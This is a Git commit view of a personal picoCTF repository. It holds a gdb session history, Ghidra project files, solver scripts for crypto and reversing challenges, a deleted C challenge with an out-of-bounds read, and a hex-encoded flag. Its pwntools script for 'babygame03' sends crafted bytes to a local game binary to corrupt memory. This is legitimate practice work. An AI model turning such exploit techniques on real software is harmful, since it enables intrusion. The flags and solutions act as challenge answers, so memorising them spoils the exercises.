5 Commits

Author SHA1 Message Date
Maxime Vorwerk
a3d85283ee endianness_v2_temp 2025-02-15 18:40:54 +01:00
Maxime Vorwerk
365d9a82b1 poweranalysis_part_1_temp 2025-02-15 18:40:10 +01:00
Maxime Vorwerk
b8a45eb92c flag_printer_temp 2025-02-15 18:38:54 +01:00
Maxime Vorwerk
cc9cccfe97 babygame03_temp 2025-02-15 18:37:15 +01:00
Maxime Vorwerk
c88f5b4ea4 Mob psycho 2025-02-14 11:39:10 +01:00
788 changed files with 1770138 additions and 938 deletions

12
.envrc
View File

@@ -1,12 +0,0 @@
export MAMBA_EXE='/home/maxime/.local/bin/micromamba';
export MAMBA_ROOT_PREFIX='/home/maxime/.micromamba';
__mamba_setup="$("$MAMBA_EXE" shell hook --shell zsh --root-prefix "$MAMBA_ROOT_PREFIX" 2> /dev/null)"
if [ $? -eq 0 ]; then
eval "$__mamba_setup"
else
alias micromamba="$MAMBA_EXE" # Fallback on help from micromamba activate
fi
unset __mamba_setup
micromamba activate picoCTF

View File

@@ -1,7 +0,0 @@
# picoCTF
## programs used
- TrID
- exiftool
- aircrack-ng
- kaitai

256
babygame03/.gdb_history Normal file
View File

@@ -0,0 +1,256 @@
c
c
x/40x 0xffffbd00
c
c
run
c
run
c
x/40x 0xffffbd00
c
run
exit
b *move_player
run < out
c
c
x/40x 0xffffbd00
c
x/40x 0xffffbd00
disassemble main
b *main+39
run < out
stack
stack 20
clear *main+3
clear *main+39
b *main+93
run < out
stack 20
stack 20
stack 40
stack 60
stack 80
stack 100
stack 200
stack 100
stack 110
stack 400
stack 1000
stack 600
stack 700
stack 680
stack 690
stack 685
stack 686
stack 687
stack 688
stack 689
stack 688
x/x 0xffffdb0c
x/x 0xffffbd0c
continue
c
run < out
x/x 0xffffbd0c
c
continue
run < out
c
x/x 0xffffbd0c
c
x/x 0xffffbd0c
disassemble main
b *main+372
x/x 0xffffbd0c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
b
clear 5
exit
disassemble main
x/x 0xffffbd0c
b *move_player
run < out
x/x 0xffffbd0c
x/40x 0xffffbd00
x/40x 0xffffcd00
x/40x 0xffffbd00
x/40x 0xffffbf00
x/40x 0xffffbd00
x/40x 0xffffbd00
x/40x 0xffffbd00
x/40x 0xffffc000
x/40x 0xffffc400
x/40x 0xffffc600
x/40x 0xffffc800
x/40x 0xffffc700
x/40x 0xffffc780
x/40x 0xffffbd00
x/40x 0xffffc780
x/x 0xffffc7ac
x/x 0xffffbd0c
x/40x 0xffffbd00
exit
b *move_player
x/x 0xffffbd0c
x/x 0xffffc7ac
run < out2
x/x 0xffffc7ac
x/x 0xffffbd0c
c
c
x/x 0xffffc7ac
c
x/x 0xffffc7ac
run < out2
x/x 0xffffc7ac
x/x 0xffffbd0c
c
x/x 0xffffc7ac
c
x/x 0xffffc7ac
x/40x 0xffffbd00
exit
disassemble main
disassemble move_player
b *move_player+8
run
stack 20
stack 30
x/40x 0xffa890
x/40x 0xffffa890
exit
b *move_player+8
run
stack 20
c
c
stack 20
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
x/40x 0xffffa890
c
exit
exit
disassemble main
q
disassemble main
disassemble move_
disassemble move_player
b *move_player+357
run < out
c
run < out
c
exit
b *move_player+357
run < out3
c
stack 20
x/40x 0xffffbce0
x/40x 0xffffbcf0
x/40x 0xffffbe00
x/40x 0xffffbd0
x/40x 0xffffbd00
x/40x 0xffffbd2f
x/40x 0xffffbd00
x/40x 0xffffbc00
x/40x 0xffffbcd0
stack 30
stack 800
stack 700
stack 720
stack 700
stack 710
stack 720
disassemble main
stack 40
stack -1 40
stack 40 -1
stack 40 -10
stack 40
stack 40
x/40x 0xffffbcd0
x/40x 0xffffbce0
c
c
c
c
c
run < out3
c
run
c
c
c
c
c
c
c
exit
disassemble move_player
b *move_player+357
run < out2
c
stack 40
x/40x 0xffffbce0
c
x/40x 0xffffbce0
run < out2
c
x/40x 0xffffbce0
c
x/40x 0xffffbce0
c
x/40x 0xffffbce0
c
x/40x 0xffffbce0
run < out2
c
x/40x 0xffffbce0
c
c
exit
disassemble main
b *main+378
run < args
run < args
run < args
tic
exit

2
babygame03/args Normal file
View File

@@ -0,0 +1,2 @@
aaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwspaaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpwsaaaaaaaawwwwswws

View File

@@ -0,0 +1,9 @@
#Ghidra Lock File
#Mon Nov 18 09:14:36 CET 2024
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
Hostname=theon-1
OS\ Architecture=amd64
OS\ Name=Linux
OS\ Version=6.11.6-arch1-1
Timestamp=11/18/24, 9\:14\u202FAM
Username=maxime

View File

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b32f38007603038077" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="game" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,7 @@
VERSION=1
/
00000001:game:ac10290b32f38007603038077
/New Traces
00000002:Emulate game:ac10290839926930849280384
NEXT-ID:3
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,5 @@
VERSION=1
/
00000001:game:ac10290b32f38007603038077
NEXT-ID:3
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,2 @@
IDEL:/New Traces/Emulate game
FDEL:/New Traces

View File

@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="OWNER" TYPE="string" VALUE="maxime" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,15 @@
<?xml version="1.0" encoding="UTF-8"?>
<PROJECT>
<PROJECT_DATA_XML_NAME NAME="DISPLAY_DATA">
<SAVE_STATE>
<ARRAY NAME="EXPANDED_PATHS" TYPE="string">
<A VALUE="babygame03:" />
</ARRAY>
<STATE NAME="SHOW_TABLE" TYPE="boolean" VALUE="false" />
</SAVE_STATE>
</PROJECT_DATA_XML_NAME>
<TOOL_MANAGER ACTIVE_WORKSPACE="Workspace">
<WORKSPACE NAME="Workspace" ACTIVE="true" />
</TOOL_MANAGER>
</PROJECT>

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="UTF-8"?>
<FILE_INFO>
<BASIC_INFO>
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="ProgramUserData" />
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
<STATE NAME="FILE_ID" TYPE="string" VALUE="ac10290b31146457713312322" />
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
<STATE NAME="NAME" TYPE="string" VALUE="udf_ac10290b32f38007603038077" />
</BASIC_INFO>
</FILE_INFO>

View File

@@ -0,0 +1,4 @@
VERSION=1
/
NEXT-ID:1
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,5 @@
VERSION=1
/
00000001:udf_ac10290b32f38007603038077:ac10290b31146457713312322
NEXT-ID:2
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,2 @@
IADD:00000001:/udf_ac10290b32f38007603038077
IDSET:/udf_ac10290b32f38007603038077:ac10290b31146457713312322

View File

@@ -0,0 +1,4 @@
VERSION=1
/
NEXT-ID:0
MD5:d41d8cd98f00b204e9800998ecf8427e

View File

@@ -0,0 +1,4 @@
VERSION=1
/
NEXT-ID:0
MD5:d41d8cd98f00b204e9800998ecf8427e

1
babygame03/flag.txt Normal file
View File

@@ -0,0 +1 @@
flag{test}

BIN
babygame03/game Executable file

Binary file not shown.

10
babygame03/mkstr.py Executable file
View File

@@ -0,0 +1,10 @@
#!/usr/bin/env python3
from pwn import *
a = 'aaaa'+'a'*4+'wwwws'
b = 'a'*47+'lp'+'ws'
s = a+'p' +a+'p' +a+'p' +a +b +a +'wws\n'
print(s)

1
babygame03/out Normal file
View File

@@ -0,0 +1 @@
aaaaaaaawwwws

1
babygame03/out2 Normal file
View File

@@ -0,0 +1 @@
aaaaaaaawwwwsaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaalpws

1
babygame03/out3 Normal file
View File

@@ -0,0 +1 @@
aaaaaaaawwwws

16
babygame03/sol.py Executable file
View File

@@ -0,0 +1,16 @@
#!/usr/bin/env python3
from pwn import *
s = b'aaaa'+b'a'*4+b'wwwws'
conn = process(["./game"])
for i in range(3):
conn.sendline(s)
conn.sendline(b'p')
conn.sendline(s)
conn.sendline(b'a'*47+b'l\x70'+b'ws')
conn.sendline(s)
conn.sendline(b'wws')
conn.sendline(b'a'*47+b'l\xfe'+b'w')
conn.interactive()

View File

@@ -1,195 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}

BIN
endianness_v2/challengefile Normal file

Binary file not shown.

View File

15
endianness_v2/sol.py Executable file
View File

@@ -0,0 +1,15 @@
#!/usr/bin/env python3
from pwn import *
with open("challengefile", "rb") as f:
file = f.read()
log.info(f"length: {len(file)}")
reorder = b""
for i in range(len(file)//4):
reorder += file[i+3:i+4] + file[i+2:i+3] + file[i+1:i+2] + file[i:i+1]
log.hexdump(reorder)

1769611
flag_printer/encoded.txt Normal file

File diff suppressed because it is too large Load Diff

28
flag_printer/flag_printer.py Executable file
View File

@@ -0,0 +1,28 @@
#!/usr/bin/env python3
import galois
import numpy as np
MOD = 7514777789
points = []
for line in open('encoded.txt', 'r').read().strip().split('\n'):
x, y = line.split(' ')
points.append((int(x), int(y)))
GF = galois.GF(MOD)
print(GF.properties)
matrix = []
solution = []
for point in points:
x, y = point
solution.append(GF(y % MOD))
row = []
for i in range(3):
row.append(GF((x ** i) % MOD))
matrix.append(GF(row))
print('solving')
open('output.bmp', 'wb').write(bytearray(np.linalg.lstsq(GF(matrix), GF(solution)).tolist()[:-1]))

0
flag_printer/output.bmp Normal file
View File

31
flag_printer/sol.py Executable file
View File

@@ -0,0 +1,31 @@
#!/usr/bin/env python3
from sage.all import *
MOD = 7514777789
ring=GF(MOD)
points = []
for line in open('encoded.txt', 'r').read().strip().split('\n'):
x, y = line.split(' ')
points.append((int(x), int(y)))
print("building matrices")
solution = []
M = []
for point in points:
x, y = point
solution.append(ring(y % MOD))
row = []
for i in range(3):
row.append(pow(x, i, MOD))
M.append(row)
print("converting matrices")
solution = vector(solution)
M = Matrix(M, base_ring=GF(MOD))
print('solving')
open('output.bmp', 'wb').write(bytearray(M.solve_right(solution).tolist()[:-1]))

1
mob_psycho/flag.txt Normal file
View File

@@ -0,0 +1 @@
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f35653637656135657d

BIN
mob_psycho/mobpsycho.apk Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1 @@
1.6.0

View File

@@ -0,0 +1 @@
1.6.1

View File

@@ -0,0 +1 @@
2.1.0

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1 @@
1.9.0

View File

@@ -0,0 +1 @@
1.9.0

View File

@@ -0,0 +1 @@
1.1.0

View File

@@ -0,0 +1 @@
1.2.0

View File

@@ -0,0 +1 @@
1.3.6

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1 @@
1.2.0

View File

@@ -0,0 +1 @@
1.1.1

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1 @@
1.2.0

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1 @@
1.0.0

View File

@@ -0,0 +1,2 @@
appMetadataVersion=1.1
androidGradlePluginVersion=8.0.2

View File

@@ -0,0 +1 @@
1.6.1

View File

@@ -0,0 +1 @@
1.6.1

View File

@@ -0,0 +1 @@
kotlinx.coroutines.android.AndroidExceptionPreHandler

View File

@@ -0,0 +1 @@
kotlinx.coroutines.android.AndroidDispatcherFactory

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Some files were not shown because too many files have changed in this diff Show More